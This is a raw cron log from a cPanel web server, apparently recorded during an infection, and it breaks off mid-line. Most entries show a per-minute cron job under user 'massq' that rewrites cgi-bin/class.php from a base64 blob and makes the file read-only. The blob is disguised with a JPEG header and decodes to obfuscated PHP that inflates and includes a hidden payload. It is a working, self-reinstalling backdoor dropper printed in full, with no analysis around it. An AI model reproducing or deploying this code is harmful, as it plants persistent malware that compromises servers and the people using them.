Nov 12 10:21:01 server CROND[31056]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:22:01 server CROND[32144]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:23:01 server CROND[512]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:24:01 server CROND[1344]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:25:01 server CROND[1628]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 10:25:01 server CROND[1630]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 12 10:25:01 server CROND[1633]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 10:25:01 server CROND[1632]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:26:01 server CROND[2509]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:27:01 server CROND[3430]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 10:27:01 server CROND[3432]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:28:01 server CROND[4262]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:29:01 server CROND[5074]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:30:01 server CROND[5944]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:30:01 server CROND[5946]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 10:30:01 server CROND[5945]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 10:30:01 server CROND[5947]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 10:31:01 server CROND[6818]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:32:01 server CROND[7430]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:33:01 server CROND[8237]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:34:01 server CROND[9223]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 